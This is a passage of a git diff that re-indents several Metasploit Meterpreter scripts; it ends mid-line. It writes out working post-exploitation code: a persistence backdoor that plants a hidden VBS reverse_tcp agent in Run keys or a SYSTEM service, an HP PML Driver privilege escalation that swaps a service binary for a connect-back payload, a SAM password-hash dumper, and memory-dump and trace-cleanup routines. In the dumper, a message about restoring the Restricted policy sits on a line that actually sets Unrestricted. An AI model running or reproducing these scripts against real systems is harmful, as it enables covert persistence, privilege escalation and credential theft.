"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], + "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"], + "-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."], + "-T" => [ true, "Alternate executable template to use"], + "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] ) meter_type = client.platform @@ -41,167 +41,167 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for creating a persistent backdoor on a target host." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for creating a persistent backdoor on a target host." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Function for Creating the Payload #------------------------------------------------------------------------------- def create_payload(payload_type,lhost,lport) - print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}") - payload = payload_type - pay = client.framework.payloads.create(payload) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - return pay.generate + print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}") + payload = payload_type + pay = client.framework.payloads.create(payload) + pay.datastore['LHOST'] = lhost + pay.datastore['LPORT'] = lport + return pay.generate end # Function for Creating persistent script #------------------------------------------------------------------------------- def create_script(delay,altexe,raw) - if altexe - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) - else - vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) - end - print_status("Persistent agent script is #{vbs.length} bytes long") - return vbs + if altexe + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) + else + vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) + end + print_status("Persistent agent script is #{vbs.length} bytes long") + return vbs end # Function for creating log folder and returning log path #------------------------------------------------------------------------------- def log_file(log_path = nil) - #Get hostname - host = @client.sys.config.sysinfo["Computer"] + #Get hostname + host = @client.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) - else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) - end + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + end - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #logfile name - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - return logfile + #logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile end # Function for writing script to target host #------------------------------------------------------------------------------- def write_script_to_target(target_dir,vbs) - if target_dir - tempdir = target_dir - else - tempdir = @client.fs.file.expand_path("%TEMP%") - end - tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" - fd = @client.fs.file.new(tempvbs, "wb") - fd.write(vbs) - fd.close - print_good("Persistent Script written to #{tempvbs}") - file_local_write(@clean_up_rc, "rm #{tempvbs}\n") - return tempvbs + if target_dir + tempdir = target_dir + else + tempdir = @client.fs.file.expand_path("%TEMP%") + end + tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" + fd = @client.fs.file.new(tempvbs, "wb") + fd.write(vbs) + fd.close + print_good("Persistent Script written to #{tempvbs}") + file_local_write(@clean_up_rc, "rm #{tempvbs}\n") + return tempvbs end # Function for setting multi handler for autocon #------------------------------------------------------------------------------- def set_handler(selected_payload,rhost,rport) - print_status("Starting connection handler at port #{rport} for #{selected_payload}") - mul = client.framework.exploits.create("multi/handler") - mul.datastore['WORKSPACE'] = @client.workspace - mul.datastore['PAYLOAD'] = selected_payload - mul.datastore['LHOST'] = rhost - mul.datastore['LPORT'] = rport - mul.datastore['EXITFUNC'] = 'process' - mul.datastore['ExitOnSession'] = false + print_status("Starting connection handler at port #{rport} for #{selected_payload}") + mul = client.framework.exploits.create("multi/handler") + mul.datastore['WORKSPACE'] = @client.workspace + mul.datastore['PAYLOAD'] = selected_payload + mul.datastore['LHOST'] = rhost + mul.datastore['LPORT'] = rport + mul.datastore['EXITFUNC'] = 'process' + mul.datastore['ExitOnSession'] = false - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - print_good("Multi/Handler started!") + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + print_good("Multi/Handler started!") end # Function to execute script on target and return the PID of the process #------------------------------------------------------------------------------- def targets_exec(script_on_target) - print_status("Executing script #{script_on_target}") - proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) - print_good("Agent executed with PID #{proc.pid}") - file_local_write(@clean_up_rc, "kill #{proc.pid}\n") - return proc.pid + print_status("Executing script #{script_on_target}") + proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) + print_good("Agent executed with PID #{proc.pid}") + file_local_write(@clean_up_rc, "kill #{proc.pid}\n") + return proc.pid end # Function to insytall payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key,script_on_target) - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - if(key) - registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n") - else - print_error("Error: failed to open the registry key for writing") - end + nam = Rex::Text.rand_text_alpha(rand(8)+8) + print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + if(key) + registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n") + else + print_error("Error: failed to open the registry key for writing") + end end # Function to install payload as a service #------------------------------------------------------------------------------- def install_as_service(script_on_target) - if not is_uac_enabled? or is_admin? - print_status("Installing as service..") - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Creating service #{nam}") - service_create(nam, nam, "cscript \"#{script_on_target}\"") - file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n") - else - print_error("Insufficient privileges to create service") - end + if not is_uac_enabled? or is_admin? + print_status("Installing as service..") + nam = Rex::Text.rand_text_alpha(rand(8)+8) + print_status("Creating service #{nam}") + service_create(nam, nam, "cscript \"#{script_on_target}\"") + file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n") + else + print_error("Insufficient privileges to create service") + end end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-i" - delay = val.to_i - when "-X" - install = true - key = "HKLM" - when "-S" - serv = true - when "-U" - install = true - key = "HKCU" - when "-A" - autoconn = true - when "-L" - target_dir = val - when "-T" - altexe = val - when "-P" - payload_type = val - end + case opt + when "-h" + usage + when "-r" + rhost = val + when "-p" + rport = val.to_i + when "-i" + delay = val.to_i + when "-X" + install = true + key = "HKLM" + when "-S" + serv = true + when "-U" + install = true + key = "HKCU" + when "-A" + autoconn = true + when "-L" + target_dir = val + when "-T" + altexe = val + when "-P" + payload_type = val + end } # Check for Version of Meterpreter @@ -217,7 +217,7 @@ script_on_target = write_script_to_target(target_dir,script) # Start Multi/Handler if autoconn - set_handler(payload_type,rhost,rport) + set_handler(payload_type,rhost,rport) end # Execute on target host @@ -225,11 +225,11 @@ targets_exec(script_on_target) # Install in registry if install - write_to_reg(key,script_on_target) + write_to_reg(key,script_on_target) end # Install as a service if serv - install_as_service(script_on_target) + install_as_service(script_on_target) end diff --git a/scripts/meterpreter/pml_driver_config.rb b/scripts/meterpreter/pml_driver_config.rb index 801c7f9b57..625c16aed1 100644 --- a/scripts/meterpreter/pml_driver_config.rb +++ b/scripts/meterpreter/pml_driver_config.rb @@ -22,9 +22,9 @@ # Options # @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu" ], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back" ], - "-p" => [ true, "The port on the remote host where Metasploit is listening" ] + "-h" => [ false, "This help menu" ], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back" ], + "-p" => [ true, "The port on the remote host where Metasploit is listening" ] ) # @@ -34,75 +34,75 @@ rhost = nil rport = nil def usage - print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.") - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_status("HP PML Driver HPZ12 SERVICE_CHANGE_CONFIG privilege escalation.") + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-r" - rhost = val - when "-p" - rport = val.to_i - else - usage - end + case opt + when "-r" + rhost = val + when "-p" + rport = val.to_i + else + usage + end end if rhost.nil? or rport.nil? - usage + usage if client.platform =~ /win32|win64/ - client.sys.process.get_processes().each do |m| - if ( m['name'] =~ /HPZipm12\.exe/ ) + client.sys.process.get_processes().each do |m| + if ( m['name'] =~ /HPZipm12\.exe/ ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - # Build out the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate + # Build out the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - # Place our newly created exe in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - print_status("Sending EXE payload '#{tempexe}'.") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close + # Place our newly created exe in %TEMP% + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + print_status("Sending EXE payload '#{tempexe}'.") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close - print_status("Stopping service \"Pml Driver HPZ12\"...") - client.sys.process.execute("cmd.exe /c sc stop \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) + print_status("Stopping service \"Pml Driver HPZ12\"...") + client.sys.process.execute("cmd.exe /c sc stop \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) - print_status("Setting Pml Driver to #{tempexe}...") - client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) - sleep(1) - print_status("Restarting the \"Pml Driver HPZ12\" service...") - client.sys.process.execute("cmd.exe /c sc start \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) + print_status("Setting Pml Driver to #{tempexe}...") + client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) + sleep(1) + print_status("Restarting the \"Pml Driver HPZ12\" service...") + client.sys.process.execute("cmd.exe /c sc start \"Pml Driver HPZ12\" ", nil, {'Hidden' => 'true'}) - # Our handler to recieve the callback. - handler = client.framework.exploits.create("multi/handler") - handler.datastore['WORKSPACE'] = client.workspace - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['ExitOnSession'] = false + # Our handler to recieve the callback. + handler = client.framework.exploits.create("multi/handler") + handler.datastore['WORKSPACE'] = client.workspace + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + handler.datastore['ExitOnSession'] = false - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) - client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'}) - end - end + client.sys.process.execute("cmd.exe /c sc config \"Pml Driver HPZ12\" binpath= %SystemRoot%\\system32\\HPZipm12.exe", nil, {'Hidden' => 'true'}) + end + end else - print_error("This version of Meterpreter is not supported with this script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/powerdump.rb b/scripts/meterpreter/powerdump.rb index e46d542466..38d0224825 100644 --- a/scripts/meterpreter/powerdump.rb +++ b/scripts/meterpreter/powerdump.rb @@ -12,15 +12,15 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) def usage - print_line("PowerDump -- Dumping the SAM database through PowerShell") - print_line("Dump username and password hashes on systems that have") - print_line("PowerShell installed on the system. Win7 and 2008 tested.") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("PowerDump -- Dumping the SAM database through PowerShell") + print_line("Dump username and password hashes on systems that have") + print_line("PowerShell installed on the system. Win7 and 2008 tested.") + print(@@exec_opts.usage) + raise Rex::Script::Completed end #------------------------------------------------------------------------------- @@ -28,34 +28,34 @@ end def dumphash(session) - path = File.join( Msf::Config.install_root, "data", "exploits", "powershell" ) + path = File.join( Msf::Config.install_root, "data", "exploits", "powershell" ) - print_status("Running PowerDump to extract Username and Password Hashes...") - filename=("#{rand(100000)}.ps1") - hash_dump=("#{rand(100000)}") - session.fs.file.upload_file("%TEMP%\\#{filename}","#{path}/powerdump.ps1") - print_status("Uploaded PowerDump as #{filename} to %TEMP%...") - opmode = "" - print_status("Setting ExecutionPolicy to Unrestricted...") - session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) - print_status("Dumping the SAM database through PowerShell...") - session.sys.process.execute("powershell C:\\Windows\\Temp\\#{filename} >> C:\\Windows\\Temp\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) - sleep(10) - hashes=session.fs.file.new("%TEMP%\\#{hash_dump}", "rb") - begin - while ((data = hashes.read) != nil) - data=data.strip - print_line(data) - end - rescue EOFError - ensure - hashes.close - end - print_status("Setting Execution policy back to Restricted...") - session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) - print_status("Cleaning up after ourselves...") - session.sys.process.execute("cmd /c del %TEMP%\\#{filename}", nil, {'Hidden' => 'true', 'Channelized' => true}) - session.sys.process.execute("cmd /c del %TEMP%\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) + print_status("Running PowerDump to extract Username and Password Hashes...") + filename=("#{rand(100000)}.ps1") + hash_dump=("#{rand(100000)}") + session.fs.file.upload_file("%TEMP%\\#{filename}","#{path}/powerdump.ps1") + print_status("Uploaded PowerDump as #{filename} to %TEMP%...") + opmode = "" + print_status("Setting ExecutionPolicy to Unrestricted...") + session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) + print_status("Dumping the SAM database through PowerShell...") + session.sys.process.execute("powershell C:\\Windows\\Temp\\#{filename} >> C:\\Windows\\Temp\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) + sleep(10) + hashes=session.fs.file.new("%TEMP%\\#{hash_dump}", "rb") + begin + while ((data = hashes.read) != nil) + data=data.strip + print_line(data) + end + rescue EOFError + ensure + hashes.close + end + print_status("Setting Execution policy back to Restricted...") + session.sys.process.execute("powershell Set-ExecutionPolicy Unrestricted", nil, {'Hidden' => 'true', 'Channelized' => true}) + print_status("Cleaning up after ourselves...") + session.sys.process.execute("cmd /c del %TEMP%\\#{filename}", nil, {'Hidden' => 'true', 'Channelized' => true}) + session.sys.process.execute("cmd /c del %TEMP%\\#{hash_dump}", nil, {'Hidden' => 'true', 'Channelized' => true}) end print_status("PowerDump v0.1 - PowerDump to extract Username and Password Hashes...") diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb index d299868ebc..64eaaecec2 100644 --- a/scripts/meterpreter/prefetchtool.rb +++ b/scripts/meterpreter/prefetchtool.rb @@ -11,105 +11,105 @@ require 'digest/sha1' # Script Options @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-p" => [ false, "List Installed Programs"], - "-c" => [ false, "Disable SHA1/MD5 checksum"], - "-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"], - "-i" => [ false, "Perform lookup for software name"], - "-l" => [ false, "Download Prefetch Folder Analysis Log"] + "-h" => [ false, "Help menu."], + "-p" => [ false, "List Installed Programs"], + "-c" => [ false, "Disable SHA1/MD5 checksum"], + "-x" => [ true, "Top x Accessed Executables (Based on Prefetch folder)"], + "-i" => [ false, "Perform lookup for software name"], + "-l" => [ false, "Download Prefetch Folder Analysis Log"] ) @tempdir = @session.fs.file.expand_path("%TEMP%") #--------------------------------------------------------------------------------------------------------- def read_program_list - key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ) - sfmsvals = key.enum_key - sfmsvals.each do |test1| - begin - key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1 - root_key2, base_key2 = @session.sys.registry.splitkey(key2) - value1 = "DisplayName" - value2 = "DisplayVersion" - open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ) - v1 = open_key.query_value(value1) - v2 = open_key.query_value(value2) - print_status("#{v1.data}\t(Version: #{v2.data})") - rescue - end - end + key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ) + sfmsvals = key.enum_key + sfmsvals.each do |test1| + begin + key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1 + root_key2, base_key2 = @session.sys.registry.splitkey(key2) + value1 = "DisplayName" + value2 = "DisplayVersion" + open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ) + v1 = open_key.query_value(value1) + v2 = open_key.query_value(value2) + print_status("#{v1.data}\t(Version: #{v2.data})") + rescue + end + end end def prefetch_dump(options, logging=false) - lexe = File.join(Msf::Config.data_directory, "prefetch.exe") - rexe = sprintf("%.5d",rand(100000)) + ".exe" - rlog = sprintf("%.5d",rand(100000)) + ".txt" + lexe = File.join(Msf::Config.data_directory, "prefetch.exe") + rexe = sprintf("%.5d",rand(100000)) + ".exe" + rlog = sprintf("%.5d",rand(100000)) + ".txt" - print_status("Uploading Prefetch-tool for analyzing Prefetch folder...") - begin - @session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe) - print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}") - rescue ::Interrupt; raise $! - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - return - end + print_status("Uploading Prefetch-tool for analyzing Prefetch folder...") + begin + @session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe) + print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}") + rescue ::Interrupt; raise $! + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + return + end - begin + begin - if(logging) - options += " --txt=#{@tempdir}\\#{rlog}" - end + if(logging) + options += " --txt=#{@tempdir}\\#{rlog}" + end - r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - d.split("\n").each do |out| - print_status("OUT> #{out.strip}") - end - end + r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + d.split("\n").each do |out| + print_status("OUT> #{out.strip}") + end + end - found = true - while (not found) - found = false - @session.sys.process.get_processes().each do |x| - found = false - if (x['name'].downcase == rexe) - found = true - end - end - sleep(0.5) if found - end + found = true + while (not found) + found = false + @session.sys.process.get_processes().each do |x| + found = false + if (x['name'].downcase == rexe) + found = true + end + end + sleep(0.5) if found + end - r.channel.close - r.close + r.channel.close + r.close - print_status("Deleting #{rexe} from target...") - @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'}) + print_status("Deleting #{rexe} from target...") + @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'}) - print_status("Clearing prefetch-tool prefetch entry ...") - @session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'}) + print_status("Clearing prefetch-tool prefetch entry ...") + @session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'}) - if(logging) - logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log") - print_status("[*] Saving prefetch logs to #{logfile}...") - @session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}") - print_status("[*] Deleting log file from target...") - @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'}) - end + if(logging) + logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log") + print_status("[*] Saving prefetch logs to #{logfile}...") + @session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}") + print_status("[*] Deleting log file from target...") + @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'}) + end - rescue ::Interrupt; raise $! - rescue ::Exception => e - print_status("The following error was encountered: #{e.class} #{e}") - return - end + rescue ::Interrupt; raise $! + rescue ::Exception => e + print_status("The following error was encountered: #{e.class} #{e}") + return + end end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@ -122,64 +122,64 @@ view_list = false check_update = false @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-x" - options += " --x=" + val - when "-c" - options += " --disable-md5 --disable-sha1" - when "-p" - view_list = true - when "-i" - options += " --inet-lookup" - when "-l" - logging = true - when "-h" - print_status( "Prefetch-tool Meterpreter Script") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + case opt + when "-x" + options += " --x=" + val + when "-c" + options += " --disable-md5 --disable-sha1" + when "-p" + view_list = true + when "-i" + options += " --inet-lookup" + when "-l" + logging = true + when "-h" + print_status( "Prefetch-tool Meterpreter Script") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end } unsupported if client.platform !~ /win32|win64/i prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe") if !(::File.exist?(prefetch_local)) - print_status("No local copy of prefetch.exe, downloading from the internet...") - Net::HTTP.start("prefetch-tool.googlecode.com") do |http| - req = Net::HTTP::Get.new("/files/prefetch.exe") - resp = http.request(req) - ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| - fd.write(resp.body) - end - end - print_status("Downloaded prefetch.exe to #{prefetch_local}") + print_status("No local copy of prefetch.exe, downloading from the internet...") + Net::HTTP.start("prefetch-tool.googlecode.com") do |http| + req = Net::HTTP::Get.new("/files/prefetch.exe") + resp = http.request(req) + ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| + fd.write(resp.body) + end + end + print_status("Downloaded prefetch.exe to #{prefetch_local}") else - print_status("Checking for an updated copy of prefetch.exe..") - digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local))) + print_status("Checking for an updated copy of prefetch.exe..") + digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local))) - Net::HTTP.start("code.google.com") do |http| - req = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=") - resp = http.request(req) - body = resp.body - chksum = body.scan(/SHA1 Checksum: <\/th><td style="white-space:nowrap">.* <a href/)[0] - chksum.sub!(/SHA1 Checksum: <\/th><td style="white-space:nowrap"> /,'') - chksum.sub!(/ <a href/,'') + Net::HTTP.start("code.google.com") do |http| + req = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=") + resp = http.request(req) + body = resp.body + chksum = body.scan(/SHA1 Checksum: <\/th><td style="white-space:nowrap">.* <a href/)[0] + chksum.sub!(/SHA1 Checksum: <\/th><td style="white-space:nowrap"> /,'') + chksum.sub!(/ <a href/,'') - if (digest != chksum) - print_status("Downloading an updated version of prefetch.exe to #{prefetch_local}...") - Net::HTTP.start("prefetch-tool.googlecode.com") do |http| - req = Net::HTTP::Get.new("/files/prefetch.exe") - resp = http.request(req) - ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| - fd.write(resp.body) - end - end - print_status("Downloaded prefetch.exe to #{prefetch_local}") - end - end + if (digest != chksum) + print_status("Downloading an updated version of prefetch.exe to #{prefetch_local}...") + Net::HTTP.start("prefetch-tool.googlecode.com") do |http| + req = Net::HTTP::Get.new("/files/prefetch.exe") + resp = http.request(req) + ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd| + fd.write(resp.body) + end + end + print_status("Downloaded prefetch.exe to #{prefetch_local}") + end + end end if (view_list) - read_program_list() + read_program_list() end print_status("Running Prefetch-tool script...") diff --git a/scripts/meterpreter/process_memdump.rb b/scripts/meterpreter/process_memdump.rb index bb23219f99..44e82c930f 100644 --- a/scripts/meterpreter/process_memdump.rb +++ b/scripts/meterpreter/process_memdump.rb @@ -12,182 +12,182 @@ resource = nil query = false @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-p" => [ true, "PID of process to dump."], - "-n" => [ true, "Name of process to dump."], - "-r" => [ true, "Text file wih list of process names to dump memory for, one per line."], - "-t" => [ false, "toggle location information in dump."], - "-q" => [false, "Query the size of the Process that would be dump in bytes."] + "-h" => [ false, "Help menu." ], + "-p" => [ true, "PID of process to dump."], + "-n" => [ true, "Name of process to dump."], + "-r" => [ true, "Text file wih list of process names to dump memory for, one per line."], + "-t" => [ false, "toggle location information in dump."], + "-q" => [false, "Query the size of the Process that would be dump in bytes."] ) def usage - print_line("") - print_line("USAGE:") - print_line("EXAMPLE: run process_memdump putty.exe") - print_line("EXAMPLE: run process_memdump -p 1234") - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line("") + print_line("USAGE:") + print_line("EXAMPLE: run process_memdump putty.exe") + print_line("EXAMPLE: run process_memdump -p 1234") + print_line(@exec_opts.usage) + raise Rex::Script::Completed end @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-p" - pid = val - when "-n" - name = val - when "-t" - toggle = true - when "-q" - query = true - when "-r" - list = val - resource = "" - if not ::File.exists?(list) - raise "Command List File does not exists!" - else - ::File.open(list, "r").each_line do |line| - resource << line - end - end - end + case opt + when "-h" + usage + when "-p" + pid = val + when "-n" + name = val + when "-t" + toggle = true + when "-q" + query = true + when "-r" + list = val + resource = "" + if not ::File.exists?(list) + raise "Command List File does not exists!" + else + ::File.open(list, "r").each_line do |line| + resource << line + end + end + end } # Function for finding the name of a process given it's PID def find_procname(pid) - name = nil - @client.sys.process.get_processes.each do |proc| - if proc['pid'] == pid.to_i - name = proc['name'] - end - end - return name + name = nil + @client.sys.process.get_processes.each do |proc| + if proc['pid'] == pid.to_i + name = proc['name'] + end + end + return name end # Find all PID's for a given process name def find_pids(name) - proc_pid = [] - @client.sys.process.get_processes.each do |proc| - if proc['name'].downcase == name.downcase - proc_pid << proc['pid'] - end - end - return proc_pid + proc_pid = [] + @client.sys.process.get_processes.each do |proc| + if proc['name'].downcase == name.downcase + proc_pid << proc['pid'] + end + end + return proc_pid end # Dumps the memory for a given PID def dump_mem(pid,name, toggle) - host,port = @client.session_host, session.session_port - # Create Filename info to be appended to created files - filenameinfo = 